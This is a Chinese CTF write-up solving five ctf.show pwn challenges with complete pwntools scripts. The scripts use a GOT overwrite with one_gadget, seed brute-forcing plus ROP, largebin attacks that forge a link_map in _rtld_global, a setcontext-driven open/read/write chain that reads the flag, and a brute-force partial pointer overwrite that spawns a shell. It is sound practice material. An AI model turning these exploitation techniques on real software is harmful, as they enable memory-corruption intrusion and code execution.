只会两个,后边跟着官WP慢慢复现3题
这题还是新比较简单的
有两次泄露机会,第1次6字节,第2次3字节,可以分别泄露栈地址和libc(__libc_start_main_ret)的中3字节(高字节一般是7f,低2字节其中12位固定,只差4位)小爆一下
PIE未开在输入偏移v5的时候,允许负值,这样就能写到got表了,直接整个one就行
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./BadBoy-2')
context(arch='amd64', log_level='debug')
#p = process('./BadBoy-2')
p = remote('pwn.challenge.ctf.show', 28201)
#gdb.attach(p, "b*0x400993\nc")
#leak stack
'''
0x00007fffffffde30│+0x0000: 0x18000000004009c0 ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000
0x00007fffffffde40│+0x0010: 0x0067666564636261 ("abcdefg"?)
0x00007fffffffde48│+0x0018: 0x9cc00e4f382f5800
0x00007fffffffde50│+0x0020: 0x00000000004009c0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffde58│+0x0028: 0x00007ffff7821c87 → <__libc_start_main+231> mov edi, eax ← $rsi
0x00007fffffffde60│+0x0030: 0x0000000000000001
0x00007fffffffde68│+0x0038: 0x00007fffffffdf38 → 0x00007fffffffe28c → "/home/kali/ctf/0110/BadBoy-2"
'''
p.sendlineafter(b"i am bad boy \n", b'40')
buf_addr = u64(p.recv(6)+b'\0'*2) -0xf8
print(f"{buf_addr = :x}")
#leak libc
p.sendlineafter(b"i am bad boy \n", str(24+2).encode())
libc.address = u64(b'\x87\x1c'+p.recv(3)+b'\x7f\x00\x00') - 231 - libc.sym['__libc_start_main'] #1/16
print(f"{libc.address = :x}")
one = [0x4f2a5, 0x4f302, 0x10a2fc]
#got.puts->one
p.sendafter(b"because i'm not girl ", b'xxx')
p.sendlineafter(b"so can you fell me? ", str(elf.got['puts'] - buf_addr).encode())
p.sendafter(b"HaHaHa ", p64(libc.address + one[2])[:3])
p.interactive()
这个也很简单,先作个小的爆破求一个随机数让它在bss里生成/bin/sh,然后有个栈溢出用01 5d 3c这个gadget
from ctypes import *
clibc = cdll.LoadLibrary('./libc.so.6')
for i in range(0x100000000):
clibc.srand(i)
r = [clibc.rand()%6 for i in range(7)]
if r == [1,5,3,4,1,2,0]:
print(i, r)
break
#38856 [1, 5, 3, 4, 1, 2, 0]
然后是个简单的栈溢出题,由于尾部给了rbx,rbp可以直接用gadget修改srand的got表为system
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./s.s.a.l')
context(arch='amd64', log_level='debug')
#p = process('./s.s.a.l')
p = remote('pwn.challenge.ctf.show', 28237)
pop_rdi = 0x400832
sym_d = 0x601090
add_dword_rbp_0x3d_ebx_ret = 0x00400738 # 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
p.send(b'\x00'*0x50)
p.sendline(b'38856')
#rsp: 4,v5,v6,v7 , x, rbx, rbp, ret
pay = b'A'*6 + flat(0, libc.sym['system']-libc.sym['srand'],elf.got['srand']+0x3d,add_dword_rbp_0x3d_ebx_ret ,pop_rdi, sym_d, elf.plt['srand'])
p.send(pay)
p.interactive()
后边这两个题就不会了,看了WP,原来是调用了link_map结构,这个原来好像没用过,没印象.特意复现一下.(两题是一样的,但使用的libc不一样,前边给了2.27,好像后边一个要用2.31这个不用吐嘈了反正就这样)
标准的堆题在free有UAF,但是add里有两项卡点,一个是calloc建块,这样tcache的攻击就用不了了,只能用fastbin,largebin这种,另一个是块最小0x80这样,fastbin的错位也找不着,刚开始一直找错位后来看WP原来是用的largebinAttack
原来用过exit_hook这们位于_rtld_global+0xf00处,但这个显然无法写这个位置
思路其实挺简单,用largebinAttack将chunk[2]的地址写到rtld_global,这里是个link_map结构的指针,这样一个fake_link_map就指向了chunk[2],这样把one写上就OK了
from pwn import *
libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')
menu = b'\xc2\xa5'*6
def add(idx, size=0xf8):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendlineafter(b"Size:\n", str(size).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index:\n", str(idx).encode())
p.recvuntil(b"context: \n")
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendafter(b"context: \n", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index:\n", str(idx).encode())
#p = process('./pwn03')
p = remote('pwn.challenge.ctf.show', 28109)
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
add(3, 0x500) #0 unsort->largebin
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x3ec090
edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x250
print(f"{libc_base =:x} {heap_self =:x}")
'''
gef? x/4gx 0x555555a01260
0x555555a01260: 0x00007ffff7bec090 0x00007ffff7bec090
0x555555a01270: 0x0000555555a01250 0x0000555555a01250
gef? x/4gx &_rtld_global
0x7ffff7e2a060 <_rtld_global>: 0x00007ffff7e2b170 0x0000000000000004
0x7ffff7e2a070 <_rtld_global+16>: 0x00007ffff7e2b428 0x0000000000000000
0x7ffff7e2a080 <_rtld_global+32>: 0x0000000000000000
'''
ld_remote_off = 0xf000
rtld_global = libc_base + 0x62a060 - ld_remote_off #+ 0x61b060 #local 0x62a060
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
gef? x/8gx &_rtld_global
0x7ffff7e2a060 <_rtld_global>: 0x0000555555a01780 <--chunk[2] 0x0000000000000004
0x7ffff7e2a070 <_rtld_global+16>: 0x00007ffff7e2b428 0x0000000000000000
'''
#one = libc_base + 0x4f2a5 #rsp & 0xf == 0 rcx == NULL
one = libc_base + 0x4f302 #[rsp+0x40] == NULL
#one = libc_base + 0x10a2fc #[rsp+0x70] == NULL
chunk_base = heap_base +0xb90
link_map=p64(0)*1
link_map+=p64(libc_base+0x62b710 - ld_remote_off) #61c710
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28
link_map+=p64(chunk_base + 0x110)
link_map+=p64(chunk_base + 0x110+0x20)
link_map+=p64(chunk_base + 0x110+0x10)
link_map+=p64(8)
link_map+=p64(one)
link_map+=p64(heap_base+0xb90)
link_map+=p64(0)*58
link_map+=p64(0x800000000)
edit(2, link_map)
'''
gef? x/200gx 0x555555a01790
0x555555a01ba0: 0x0000000000000000 0x00007ffff7e1c710
0x555555a01bb0: 0x0000000000000000 0x0000555555a01b90 <--chunk[2]
...28
0x555555a01ca0: 0x0000555555a01ca0 0x0000555555a01cc0 <--self,+20
0x555555a01cb0: 0x0000555555a01cb0 0x0000000000000008 <--self
0x555555a01cc0: 0x00007ffff784f302 <--one 0x0000555555a01b90 <--chunk[2]
...58
0x555555a01ea0: 0x0000000800000000 0x0000000000000000
'''
p.sendlineafter(menu, b'5')
#gdb.attach(p)
#pause()
p.interactive()
这里也需要一个小爆破,虽然同一版本的libc加载的libc位置与ld位置偏移固定,但在不同环境下这个值不同,一般docker上的会小,不过这个差不会太大,经过爆破本地与远程差0xf页
写官Wp都是些大牛,他们以为很简单的事,其实慢慢理解需要很长时间,只能一点点试.特别是只写一个数字的情况下,这个数字什么意思又得慢慢找,毕竟自己的环境与远程环境还有官WP的环境还是有差别的.
?这题没给libc这个如果不看WP作出来似乎有点难,因为hook这东西一般放在可写区里与代码需要分页的,所以在同一个大版本下基本是相同的,但是要想得到准确的libc就比较困难了,你不可能爆破到所有版本.而且这个2.31-0u9也不是很常见,而且题目并没有对exec的限制,但似乎真要用.
在link_map里调用一个set_context+0x3d填充寄存器,然后调用read,再由read读入后续的PAYLOAD执行orw
复现的时候尽量去掉了官WP里的直接加的数字,并在注释里写了代码的意义.以备后用吧.
from pwn import *
libc = ELF('./libc-2.31.so') #GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
context(arch='amd64', log_level='debug')
menu = b'\xc2\xa5'*6
def add(idx, size=0xf8):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendlineafter(b"Size:\n", str(size).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index:\n", str(idx).encode())
p.recvuntil(b"context: \n")
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendafter(b"context: \n", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index:\n", str(idx).encode())
p = process('./pwn04')
#p = remote('pwn.challenge.ctf.show', 28109)
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
#show(0)
add(3, 0x500) #0 unsort->largebin
'''
0x7ffff7fc0fe0: 0x0000555555a01290 0x0000555555a01290 largebin
0x555555a012a0: 0x00007ffff7fc0fd0 0x00007ffff7fc0fd0
0x555555a012b0: 0x0000555555a01290 0x0000555555a01290 -> heap_self -> rtld_global - 0x20
'''
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x290
ld_remote_off = 0
#ld_remote_off = 0x6000
rtld_global = libc_base + 0x228060 - ld_remote_off
print(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
0x7ffff7ffd060 <_rtld_global>: 0x00007ffff7ffe190 0x0000000000000004
0x7ffff7ffd060 <_rtld_global>: 0x0000555555a01bd0 -> chunk2
'''
libc.address = libc_base
one = libc_base + 0x4f302 #[rsp+0x40] == NULL
pop_rdi = libc_base+0x26b72
pop_rsi = libc_base+0x27529
pop_rdx = libc_base+0x11c1e1 #pop rdx;pop r12;ret
setcontext_3d = libc.sym['setcontext'] + 0x3d
chunk_base = heap_base + 0xbd0
link_map=p64(0)
link_map+=p64(rtld_global+0x16e0)
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110)
link_map+=p64(chunk_base+0x110+0x20)
link_map+=p64(chunk_base+0x110+0x10)
link_map+=p64(0x20)
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #ret
link_map+=p64(0)*12
link_map+=p64(0)
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(0)*2
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(libc.sym['read']) #read(0, chunk_base+0x238, 0x100)
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2, link_map)
'''
0x7ffff7ffd060 <_rtld_global>: 0x0000555555a01bd0 0x0000000000000004
0x7ffff7ffd070 <_rtld_global+16>: 0x00007ffff7ffe450 0x0000000000000000
0x555555a01bd0: 0x0000000000000000 0x0000000000000421
0x555555a01be0: 0x0000000000000000 0x00007ffff7ffe740
0x555555a01bf0: 0x0000000000000000 0x0000555555a01bd0 (chunk[2])
...28
0x555555a01ce0: 0x0000555555a01ce0 (self) 0x0000555555a01d00 (flag)
0x555555a01cf0: 0x0000555555a01cf0 (self) 0x0000000000000020
0x555555a01d00: 0x0000000067616c66 ('flag') 0x0000555555a01bd0 (chunk[2])
0x555555a01d10: 0x00007ffff7e2d0dd (setcontext+0x3d) 0x00007ffff7dfbb73 (ret)
...12
0x555555a01d80: 0x0000000000000000 (+68 rdi) 0x0000555555a01dc8 (+70 rsi read后移栈)
0x555555a01d90: 0x0000000000000000 0x0000000000000000
0x555555a01da0: 0x0000000000000100 (+88 rdx) 0x0000000000000000
0x555555a01db0: 0x0000000000000000 0x0000555555a01dc8 (+A0 rsp)
0x555555a01dc0: 0x00007ffff7ee5fa0 (read) 0x0000000000000000 <-- orw_payload读到这里,rsp也移到这里执行
...36
0x555555a01ee0: 0x0000000000000000 0x0000000800000000
'''
'''
#setcontext
.text:00000000000580A0 ; __int64 __fastcall setcontext(__int64)
.text:00000000000580A0 public setcontext ; weak
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
.text:000000000005810B jz loc_581C6
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn
'''
#gdb.attach(p)
#pause()
p.sendlineafter(menu, b'5')
#orw
flag_addr = chunk_base+0x130
orw = flat([pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'],
pop_rdi, 3, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['read'],
pop_rdi, 1, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['write']])
p.send(orw)
p.interactive()
这题要说难度也没啥,就是一般人不会想到.有一个栈溢出,但是无法找到需要的gadget而已.在官WP里利用一个ld的指针,爆破12位写one,成功率1/4096一般人想不要这种情况.不会爆破这么大.用官WP也没爆也,放弃了.
当写溢出后再调回原函数rsp会+8这样下去一点点下移在移到ld的地址时写ld地址的后3字节成one当加载地址为xxxx000000里可以成功.
from pwn import *
context(arch='amd64', log_level='error')
pop_r12 = 0x401176
pop_r15 = 0x401179
call_yes = 0x401150
#libc.address = ......000000
pay = flat(0,0,0,0,0,pop_r12,0,call_yes) + flat(0,0,0,0,0,pop_r15,0,call_yes)*6 + b'\x00'*0x28 + b'\x2e\x3b\x0e'
i=0
while True:
p = process('./pwn05')
#p = remote('pwn.challenge.ctf.show', 28201)
#gdb.attach(p, "b*0x401173\nc")
print(i)
i+=1
p.send(pay)
sleep(0.2)
try:
p.sendline(b'echo ok')
if b'ok' in p.recv():
context.log_level = 'debug'
#p.sendline(b'cat /flag')
p.interactive()
except KeyboardInterrupt:
break
except:
p.close()
'''
0x00007fffffffde20│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007fffffffde28│+0x0008: 0x00007ffff7e1be0a → add BYTE PTR [rax], al
0x00007fffffffde30│+0x0010: 0x0000000000000000
0x00007fffffffde38│+0x0018: 0x0000000000000000
0x00007fffffffde40│+0x0020: 0x00007fffffffde50 → 0x0000000000000000 ← $rbp, $r15
0x00007fffffffde48│+0x0028: 0x000000000040113e → <main+24> nop
0x00007fffffffde50│+0x0030: 0x0000000000000000
...
0x00007fffffffdef0│+0x00d0: 0x00007ffff7ffe190 → 0x0000000000000000
'''
一直想有没有更好的办法,以后慢慢想吧?